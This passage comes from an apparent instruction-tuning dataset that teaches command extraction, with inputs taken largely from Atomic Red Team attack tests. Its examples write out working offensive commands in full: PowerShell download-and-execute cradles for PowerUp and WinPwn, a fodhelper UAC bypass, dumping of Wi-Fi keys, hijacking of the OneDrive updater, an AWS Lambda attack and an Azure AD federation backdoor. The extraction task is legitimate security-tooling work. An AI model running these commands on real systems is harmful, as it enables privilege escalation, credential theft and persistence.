PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To configure UAC so it doesn't prompt administrators for consent or credentials, use the following command: reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f; This atomic test mimics ValleyRAT's UAC bypass method by adding specialized registry entries, using the following sequence: reg add \"HKEY_CURRENT_USER\\Software\\Classes\\.pwn\\Shell\\Open\\command\" /ve /d \"C:\\Windows\\System32\\calc.exe\" /f\n\nreg add \"HKEY_CURRENT_USER\\Software\\Classes\\ms-settings\\CurVer\" /ve /d \".pwn\" /f\n\necho Triggering fodhelper.exe for potential privilege escalation...\nstart fodhelper.exe", "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f\\n\", \"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Classes\\\\.pwn\\\\Shell\\\\Open\\\\command\\\" /ve /d \\\"C:\\\\Windows\\\\System32\\\\calc.exe\\\" /f\\n\\nreg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Classes\\\\ms-settings\\\\CurVer\\\" /ve /d \\\".pwn\\\" /f\\n\\necho Triggering fodhelper.exe for potential privilege escalation...\\nstart fodhelper.exe\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The WinPwn dotnet function helps search for .NET Service-Binaries when you run the following command:\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\ndotnet -consoleoutput -noninteractive; The PowerUpSQL checks can be launched using the WinPwn's powerSQL function with the following command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\npowerSQL -noninteractive -consoleoutput", "output": "{\"command_list\": [\"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\ndotnet -consoleoutput -noninteractive\", \"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\\npowerSQL -noninteractive -consoleoutput\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The system's loaded kernel modules can be listed, along with any containing 'vmm', by executing this command sequence: kldstat\nkldstat | grep vmm\n; Various system components can be identified by executing this series of WMIC commands: wmic cpu get name\nwmic MEMPHYSICAL get MaxCapacity\nwmic baseboard get product\nwmic baseboard get version\nwmic bios get SMBIOSBIOSVersion\nwmic path win32_VideoController get name\nwmic path win32_VideoController get DriverVersion\nwmic path win32_VideoController get VideoModeDescription\nwmic OS get Caption,OSArchitecture,Version\nwmic DISKDRIVE get Caption\nGet-WmiObject win32_bios\n, which retrieves information about hardware and software configurations.", "output": "{\"command_list\": [\"kldstat\\nkldstat | grep vmm\\n\", \"wmic cpu get name\\nwmic MEMPHYSICAL get MaxCapacity\\nwmic baseboard get product\\nwmic baseboard get version\\nwmic bios get SMBIOSBIOSVersion\\nwmic path win32_VideoController get name\\nwmic path win32_VideoController get DriverVersion\\nwmic path win32_VideoController get VideoModeDescription\\nwmic OS get Caption,OSArchitecture,Version\\nwmic DISKDRIVE get Caption\\nGet-WmiObject win32_bios\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For downloading files without suspicious executables, configure the OneDrive Standalone Updater via this command sequence:\nif (-not (Test-Path \"#{onedrive_path}\")) {\n Write-Host \"OneDriveStandaloneUpdater.exe not found at #{onedrive_path}. Test cannot continue.\"\n exit 1\n}\n\nNew-Item -Path \"HKCU:\\Software\\Microsoft\\OneDrive\\UpdateOfficeConfig\" -Force | Out-Null\nSet-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\OneDrive\\UpdateOfficeConfig\" -Name \"UpdateRingSettingURLFromOC\" -Value \"#{remote_url}\" -Type String -Force\nSet-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\OneDrive\\UpdateOfficeConfig\" -Name \"ODSUUpdateXMLUrlFromOC\" -Value \"#{remote_url}\" -Type String -Force\nSet-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\OneDrive\\UpdateOfficeConfig\" -Name \"UpdateXMLUrlFromOC\" -Value \"#{remote_url}\" -Type String -Force\nSet-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\OneDrive\\UpdateOfficeConfig\" -Name \"UpdateOfficeConfigTimestamp\" -Value 99999999999 -Type QWord -Force\n\n# Run OneDrive Standalone Updater\n& \"#{onedrive_path}\"; Execute arbitrary code on a Lambda function by running this command: Import-Module \"PathToAtomicsFolder/T1648/src/T1648-1/LambdaAttack.ps1\" -Force\n$access_key = \"#{access_key}\"\n$secret_key = \"#{secret_key}\"\n$session_token = \"#{session_token}\"\n$aws_profile = \"#{profile}\"\n$region = \"#{region}\"\nSet-AWSAuthentication -AccessKey $access_key -SecretKey $secret_key -SessionToken $session_token -AWSProfile $aws_profile -AWSRegion $region\nInvoke-Terraform -TerraformCommand init -TerraformDirectory \"PathToAtomicsFolder/T1648/src/T1648-1\"\nInvoke-Terraform -TerraformCommand apply -TerraformDirectory \"PathToAtomicsFolder/T1648/src/T1648-1\" -TerraformVariables @(\"profile=T1648-1\", \"region=$region\")\nInvoke-LambdaAttack -AWSProfile \"T1648-1\" -AWSRegion $region", "output": "{\"command_list\": [\"if (-not (Test-Path \\\"#{onedrive_path}\\\")) {\\n Write-Host \\\"OneDriveStandaloneUpdater.exe not found at #{onedrive_path}. Test cannot continue.\\\"\\n exit 1\\n}\\n\\nNew-Item -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\OneDrive\\\\UpdateOfficeConfig\\\" -Force | Out-Null\\nSet-ItemProperty -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\OneDrive\\\\UpdateOfficeConfig\\\" -Name \\\"UpdateRingSettingURLFromOC\\\" -Value \\\"#{remote_url}\\\" -Type String -Force\\nSet-ItemProperty -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\OneDrive\\\\UpdateOfficeConfig\\\" -Name \\\"ODSUUpdateXMLUrlFromOC\\\" -Value \\\"#{remote_url}\\\" -Type String -Force\\nSet-ItemProperty -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\OneDrive\\\\UpdateOfficeConfig\\\" -Name \\\"UpdateXMLUrlFromOC\\\" -Value \\\"#{remote_url}\\\" -Type String -Force\\nSet-ItemProperty -Path \\\"HKCU:\\\\Software\\\\Microsoft\\\\OneDrive\\\\UpdateOfficeConfig\\\" -Name \\\"UpdateOfficeConfigTimestamp\\\" -Value 99999999999 -Type QWord -Force\\n\\n# Run OneDrive Standalone Updater\\n& \\\"#{onedrive_path}\\\"\\n\", \"Import-Module \\\"PathToAtomicsFolder/T1648/src/T1648-1/LambdaAttack.ps1\\\" -Force\\n$access_key = \\\"#{access_key}\\\"\\n$secret_key = \\\"#{secret_key}\\\"\\n$session_token = \\\"#{session_token}\\\"\\n$aws_profile = \\\"#{profile}\\\"\\n$region = \\\"#{region}\\\"\\nSet-AWSAuthentication -AccessKey $access_key -SecretKey $secret_key -SessionToken $session_token -AWSProfile $aws_profile -AWSRegion $region\\nInvoke-Terraform -TerraformCommand init -TerraformDirectory \\\"PathToAtomicsFolder/T1648/src/T1648-1\\\"\\nInvoke-Terraform -TerraformCommand apply -TerraformDirectory \\\"PathToAtomicsFolder/T1648/src/T1648-1\\\" -TerraformVariables @(\\\"profile=T1648-1\\\", \\\"region=$region\\\")\\nInvoke-LambdaAttack -AWSProfile \\\"T1648-1\\\" -AWSRegion $region\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n You can retrieve a list of all saved Wi-Fi networks along with their security keys (where present) with the command: netsh wlan show profile * key=clear; To add a new federated domain to Azure AD, first ensure the domain is properly configured, then run the following PowerShell command: Import-Module AzureAD\nImport-Module AADInternals\n\n$PWord = ConvertTo-SecureString -String \"#{azure_password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{azure_username}\", $Pword\n\ntry {\n Connect-AzureAD -Credential $Credential -ErrorAction Stop > $null\n}\ncatch {\n Write-Host \"Error: AzureAD could not connect\"\n exit 1\n}\n\ntry {\n $domain = Get-AzureADDomain -Name \"#{domain_name}\"\n}\ncatch {\n Write-Host \"Error: domain \"\"#{domain_name}\"\" not found\"\n exit 1\n}\nif (-Not $domain.IsVerified) {\n Write-Host \"Error: domain \"\"#{domain_name}\"\" not verified\"\n exit 1\n}\n\nif ($domain.AuthenticationType -eq \"Federated\") {\n Write-Host \"Error: domain \"\"#{domain_name}\"\" already federated. Try with a different domain or re-create it before.\"\n exit 1\n}\n\n$at = Get-AADIntAccessTokenForAADGraph -Credentials $Credential\nif (-Not $at) {\n Write-Host \"Error: AADInternals could not connect\"\n exit 1\n}\n\n$new = ConvertTo-AADIntBackdoor -AccessToken $at -DomainName \"#{domain_name}\"\nif ($new) {\n Write-Host \"Federation successfully added to Azure AD\"\n Write-Host $new\n}\nelse {\n Write-Host \"The federation setup failed\"\n}\n\nWrite-Host \"End of federation configuration.\"", "output": "{\"command_list\": [\"netsh wlan show profile * key=clear\", \"Import-Module AzureAD\\nImport-Module AADInternals\\n\\n$PWord = ConvertTo-SecureString -String \\\"#{azure_password}\\\" -AsPlainText -Force\\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \\\"#{azure_username}\\\", $Pword\\n\\ntry {\\n Connect-AzureAD -Credential $Credential -ErrorAction Stop > $null\\n}\\ncatch {\\n Write-Host \\\"Error: AzureAD could not connect\\\"\\n exit 1\\n}\\n\\ntry {\\n $domain = Get-AzureADDomain -Name \\\"#{domain_name}\\\"\\n}\\ncatch {\\n Write-Host \\\"Error: domain \\\"\\\"#{domain_name}\\\"\\\" not found\\\"\\n exit 1\\n}\\nif (-Not $domain.IsVerified) {\\n Write-Host \\\"Error: domain \\\"\\\"#{domain_name}\\\"\\\" not verified\\\"\\n exit 1\\n}\\n\\nif ($domain.AuthenticationType -eq \\\"Federated\\\") {\\n Write-Host \\\"Error: domain \\\"\\\"#{domain_name}\\\"\\\" already federated. Try with a different domain or re-create it before.\\\"\\n exit 1\\n}\\n\\n$at = Get-AADIntAccessTokenForAADGraph -Credentials $Credential\\nif (-Not $at) {\\n Write-Host \\\"Error: AADInternals could not connect\\\"\\n exit 1\\n}\\n\\n$new = ConvertTo-AADIntBackdoor -AccessToken $at -DomainName \\\"#{domain_name}\\\"\\nif ($new) {\\n Write-Host \\\"Federation successfully added to Azure AD\\\"\\n Write-Host $new\\n}\\nelse {\\n Write-Host \\\"The federation setup failed\\\"\\n}\\n\\nWrite-Host \\\"End of federation configuration.\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The file can be downloaded and saved to a custom path by running the command: nscurl -k \"#{remote_file}\" -o \"#{destination_path}\"; To illustrate how 'Sqlcmd.exe' can be abused to download files from remote servers, this technique executes the command: sqlcmd -i #{remote_url} -o #{local_file_path}, fetching a sample zip file from GitHub.", "output": "{\"command_list\": [\"nscurl -k \\\"#{remote_file}\\\" -o \\\"#{destination_path}\\\"\", \"sqlcmd -i #{remote_url} -o #{local_file_path}\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { 